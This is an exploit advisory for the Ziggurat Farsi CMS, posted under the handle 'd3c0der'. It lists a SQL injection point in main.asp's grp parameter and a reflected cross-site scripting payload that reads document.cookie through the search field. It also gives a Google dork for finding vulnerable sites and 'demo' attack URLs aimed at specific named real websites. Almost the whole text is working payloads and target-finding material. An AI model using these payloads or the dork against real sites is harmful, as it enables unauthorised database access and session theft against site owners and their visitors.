Ziggurat CMS Cross Site Scripting / SQL Injection

`#########################################################  
Ziggurat CMS Multiple Vulnerabilities   
---------------------------------------------------------  
Portal Name: Ziggurat Farsi CMS  
software : http://www.farsi-cms.com  
Author : d3c0der - [email protected]  
google dork : Powered By Ziggurat Farsi CMS  
homepage : www.attackerz.ir  
spt : netqurd - maarek - l3l4ck.$c0rpi0n   
---------------------------------------------------------  
  
  
#########################################################  
##sql injection   
[sqli] :  
http://www.[site]/main.asp?id=[id]&grp=[id]' [sqli]   
  
demo :  
http://www.sbco.ir/main.asp?id=22&grp=24'   
  
******** ********* *********  
  
##Cross Site Scripting ( in search )  
[xss] :  
http://www.[site]/main.asp?id=5&text=<script >alert(document.cookie)</script>&gorooh=0  
  
demo :  
http://www.sbco.ir/main.asp?id=5&text=<script >alert(document.cookie)</script>&gorooh=0  
  
http://zahedan-tebyan.ir/main.asp?id=5&text=<script >alert(document.cookie)</script>&gorooh=0&B1=%D8%A8%DA%AF%D8%B1%D8%AF  
  
---------------------------------  
by : d3c0der  
  
#########################################################  
  
  
  
`